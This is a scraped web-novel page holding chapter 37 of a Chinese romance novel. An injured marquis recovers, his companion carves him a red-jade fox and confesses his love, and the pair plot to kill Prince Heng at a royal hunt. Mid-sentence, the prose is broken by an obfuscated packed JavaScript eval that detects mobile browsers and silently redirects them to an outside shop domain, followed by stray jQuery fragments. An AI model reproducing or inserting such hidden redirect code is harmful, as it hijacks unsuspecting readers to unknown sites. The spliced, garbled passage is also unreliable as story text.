文趣网 > 其他小说 > 妖孽侯爷训狗指南 > 37.玉狐狸
    卧室内,窗户微敞,煦风从外头吹进来暖洋洋的,床幔微动,床头的香囊散着醇厚微苦的草木药香,萧瑾舟长睫颤动,微微张开了眼,他直直的望着床顶,像是在发呆又像是在思索这是梦境还是现实。

    房门被推开,魏君泽端着药走了进来,他望向卧床,见萧瑾舟醒了,便连忙走上前坐到床边,“生春!你醒了?身子还有哪里不舒服吗?”

    萧瑾舟转头望向魏君泽,怔怔看着他脸颊上已经结痂的伤口,想说还好,不疼,但话到嘴边又变了,眼里有水光,张开嘴缓了好一会,沙哑道:“疼,喉咙疼,手臂疼,头疼,哪哪都疼,疼死了。”

    “我去找邸菘蓝过来!”

    萧瑾舟手指轻动,拉住魏君泽的衣摆,“别走,你抱抱我,像上回那般拍拍我的后背就不疼了。”

    魏君泽坐到床头将萧瑾舟轻轻扶起,让他上半身依偎在自己怀里,手缓缓摩挲拍着后背,“这样,好些了吗?”

    萧瑾舟头靠在魏君泽颈窝里,闭上眼,闻着熟悉的茶香,微点了点头,有些委屈道:“玉簪,断了……”

    魏君泽下巴抵在萧瑾舟头上,抱着他摇了摇,轻声哄道:“断了就断了,扎过脏血的不要便罢了,我给你买新的,你想要什么样的都可以,可好?”

    萧瑾舟点头,“外祖父可知道这事?”

    “我没告诉他,我只说你感染风寒需要卧床几日,他年事已高经不起吓,料你也是如我这般想的,便瞒着他没让他来看。”

    “你做的对,若是让外祖父知道了,他必定会拼了命去和恒王算账的。”

    提到恒王,魏君泽眼神瞬间变得冷厉,他垂眼看着怀中人苍白的面庞,“生春,我想杀了他,可以吗?”

    萧瑾舟抓着魏君泽的衣袍,笑了笑,“好啊,我和你一起。”

    “主子,侯爷醒了?”魏廉和魏清听到动静快步走了进来,看到两人依偎相拥的场景,双双愣在原地,走也不是,不走也不是。

    萧瑾舟本想起身,却发现魏君泽一点松开的意思也没有,便也放纵不管了。

    魏君泽对两人道:“醒了,叫邸菘蓝过来看看。”

    “哦哦……”两人那是一刻不敢多留的转身就跑出去了。

    萧瑾舟闷笑,“时序你这般往后怕是讲不清了。”

    “讲不清那便讲不清吧。”

    萧瑾舟嘴角的笑一顿,他抬眼看向魏君泽,魏君泽把手移到萧瑾舟脸侧,带着薄茧的大拇指轻轻抚过萧瑾舟嘴唇上的伤口,微微勾唇,像是无奈又像是妥协承认道:“你说得对,我确实是色令智昏了。”

    萧瑾舟眼神闪了闪,又把脸埋进魏君泽的颈窝,闷闷道:“傻子。”

    魏君泽低笑又把他抱紧了些,“对对对,生春说的对,我就是个傻子。”

    萧瑾舟昏迷了五天,魏君泽就失了五天的魂,家也不回,听雨楼也不去,就待在萧瑾舟床边,不是呆呆的盯着人看,就是拿出那块红玉雕磨,雕了两天,一只鲜活的抱着尾巴蜷卧的小狐狸就出来了,可是那小狐狸的主人还没醒。

    他不让除了邸菘蓝以外的人靠近萧瑾舟,喝药、换衣、擦身都亲力亲为,到了第三天魏珩来萧府找他,魏珩看着魏君泽不修边幅,下巴长出了一层青茬的样子,叹了口气道:“把衣裳换换,胡子也剃剃,哪日侯爷醒来,看见一个野人在他身旁,不得吓得又晕过去。”

    魏君泽没由来的问魏珩,“二哥,喜欢一个人会是什么感觉?”

    魏珩顿了顿,道:“心悦一个人,便是想他每日是否康健,想他顿顿是否吃好,看他受苦便是心如刀绞,恨不得以身替之,看他难过便莫名的自己也难过起来,每日每时每刻都想相见……”

    魏君泽听着魏珩说话,眼神却一眨不眨的望着萧瑾舟,魏珩定定的看了一会魏君泽,道:“你心悦萧侯爷。”

    不是疑问,是肯定。

    “心悦?”,魏君泽掏出怀中的红玉狐狸,脑海里都是与萧瑾舟相处的画面,他畅然一笑,“是啊,我心悦他。”

    “哎哟,木事儿木事儿,好好歇歇就中嘞。”邸菘蓝笑呵呵说道,“胳膊上那伤还好,就脖子上伤嘞可厉害,要肿好些天儿。”

    魏君泽看着那脖子上触目惊心的青紫痕迹,眉心跳的厉害,“我回府拿些伤药过来,老爹在军队里带回来不少,那都是给将士用的,效果好的很。”

    邸菘蓝点点头,“诶,那个中!活血化瘀!”

    魏君泽心里有了想法便动身要出去,他对魏清吩咐道:“你在这儿陪着生春。”

    魏清抱拳应是。

    卧房内没了人,萧瑾舟坐了会儿,看向站在门口不进来的魏清,他想张口说话,但因为脖子上的伤声音放不大,他拍了拍床边木架,引起魏清的注意。

    魏清急忙走过去蹲在床边,道:“侯爷,有什么吩咐吗?”

    “帮我倒杯水吧。”

    魏清把茶杯放到萧瑾舟手中,便想退回到房门口。

    “等等。”

    萧瑾舟叫住了他,“你在躲我吗?”

    魏清看着萧瑾舟的伤口,眼神闪烁,眼眶泛红,垂头道:“侯爷两次受伤,都是因为我保护不力,我,我有愧,不敢求侯爷和主子原谅。”

    萧瑾舟淡淡看了魏清一会儿,道:“你有愧?可我思来想去也想不出你是哪里做错了。”

    “上回,你提醒我要避开,是我自己撞上那刀口,这不怪你。”

    “而这回,谁能想到恒王敢在宫中掳人,你在宫外一无所知又如何能及时救我,这也不怪你。”

    “如此,你又有什么可愧疚的,这世上本就有许多意外和不可控之事,时序这回没有罚你便是说明此事不是你的过错,所以不必再纠结。”

    魏清抹了眼泪,再抬头时眸中多了丝坚定,道:“多谢侯爷开解,魏清明白了。”

    “你去吧,我想睡一会儿。”

    “是。”

    “等一下。”萧瑾舟拿起枕边的红玉狐狸问:“这是哪来的?”

    魏清看了看道:“是主子给侯爷的,侯爷昏迷了多久,主子便守了多久,喂药擦身事事亲为,这红玉狐狸就是在床边守着的时候雕的。”

    “我知道了,你去吧。”

    阳光打进来把空气中的尘埃照的清明,萧瑾舟盯着那道光许久,直到眼睛干涩盈出眼泪,嘴里喃喃笑骂道:“傻子,不是你色令智昏,该是我心向往之才对……”

    “师兄,今日可好些了?”白忘忧提着盒海棠糕进来,“三公子今早出去时特意关照我的,说师兄你喝药怕苦,喝完得吃些糕点压压才行,哎哟真是羡煞我也啊……”

    萧瑾舟接过他手中的糕点,“难怪总是闻到股酸味儿。”

    白忘忧撇嘴,转眼看到桌案上的红玉狐狸拿起来端详,“这三公子手艺好的很呐,若是魏府往后落寞了,还是可以靠这门本事过活的。”

    萧瑾舟把红玉狐狸抢回来,拿绢子擦了擦,“时序银子多的很。”

    “……”,白忘忧看看自己的手,“师兄,我还是你亲师弟吗?”

    “过继的。”

    “……不说了。”

    萧瑾舟随手翻开一本书,道:“这几天恒王府有什么动作吗?”

    白忘忧盘腿坐到萧瑾舟对面道:“不出你所料,恒王这几日接连见了好几位官员,各种宴饮,各种送礼,高调得很,一点都不避讳,也不知该怎么说他,真是蠢得要命。”

    萧瑾舟翻页,“他本就不是朝野之才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536912|202080||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,好好当个闲散王爷说不定还能富贵悠然一辈子,可惜了……”

    白忘忧打着扇子的手顿住,他看了萧瑾舟一会儿,犹豫道:“师兄是想……”

    萧瑾舟淡笑合上书,眼神散着森寒,“我与他做君子,他却与我做小人,命都差点丢在他手里,若是还放过他,我岂不是成圣人了,忘忧你是拿笔作诗的,来日报完仇依旧可以做君子,而我是拿笔做刀的,身上背着命,手上已然沾了血,往日学的正道早已不是我要走的路。”

    “何况,就算我饶过他,时序也已经起了杀心,恒王必须死。”

    香炉袅袅,白忘忧盯着那飘起的白烟,少有的严肃起来,“虽说恒王不成器,但毕竟是皇子,要杀一个皇子,可不像是杀一个官员那么容易,况且现在他人在玉京……”

    白忘忧思忖了一会儿,眼神一动,道:“不久之后,不就是围猎了嘛,如若要动手,围猎不失为一个好机会。”

    萧瑾舟道:“我也正有此意,此次围猎事宜是由太子安排的,太子上回与恒王结仇保不齐也会动手,若是他不动手,我们在围猎之时杀了恒王,倒也能把事情推到太子身上。”

    白忘忧失笑,“太子倒也怪倒霉的,惹上你们这对祖宗。”

    萧瑾舟睨了他一眼,“说你是君子,你倒真帮人家打抱不平起来了?”

    白忘忧:“……”

    “我没惹你吧师兄,怎么今日说话总是夹枪带棒的?真不想要师弟了?”

    “可以不要。”

    “……”

    外头一阵吵吵闹闹,声音不小隔着屋门都传了进来,萧瑾舟撑着桌案站起身,准备出去看看。

    院子里,魏廉撅着屁股蹲在假山石边,招着手道:“嘬嘬嘬,小狗,快出来,哥哥给你大骨头,香哩很!”

    “汪汪汪汪……”

    “汪汪汪汪汪汪!”

    魏廉着急摆手,“祖宗别叫啦!侯爷在休息呢!把侯爷吵醒了,主子回来得揪了你的皮!”

    魏清也弯腰蹲在魏廉旁边,回头望了一眼,看到来人一下子站起身,“侯爷,你怎么出来了?可是吵到你了?”

    魏廉闻言猛的回头看了一眼,随后站起身,用大骨头指着那小狗,教训道:“都叫你别叫了,吵着侯爷了!这下你和我都要完了!”

    萧瑾舟走上前,随着两人的视线望去,假山石缝里藏着一只小狗,双耳尖竖,黄白毛色,有些瘦小但看着还精神,特别是那双眼睛,圆圆的,黑黑的,亮的喜人。

    小狗警惕的微呲着牙,看着年纪不大,脾气倒是大的很,萧瑾舟问:“何处来的小狗?”

    魏廉挠了挠额头,道:“刚我办事儿回来,进门没注意被它给钻了空子,我本想抓来着,但它跑的太快了,小小一只跑起来都看不见影,逮都逮不住。”

    萧瑾舟看着那呲着牙面露凶色但身子却不停在发抖的小狗,拿过魏廉手中的骨头,蹲下身放在石缝边,朝着小狗招手,声音轻柔道:“你出来,不伤你。”

    那小狗抬起一只爪子又放下,巡返往复,过了半晌慢慢走出来叼起骨头又往石缝里跑,在里头啃了起来。

    魏清道:“侯爷要养吗?”

    萧瑾舟看着小狗那黑圆的眼睛,道:“既然来了,就留下吧。”

    小狗吃完了骨头,虽然还没从石缝中出来,但它也不再呲牙了,还朝着萧瑾舟微微摇了几下尾巴,像是在巴结,“汪汪!”

    萧瑾舟对魏廉道:“再去找些吃的给他吧,倒碗水。”

    “哦哦,好嘞!”,魏廉看着吃惊,刚才他举的手都麻了,这狗是一点不动,啧啧,乖乖嘞,连狗都学会巴结谄媚,会看眼色了!这年头下属是愈发难做了,看来得快点找话本子,稳固地位了!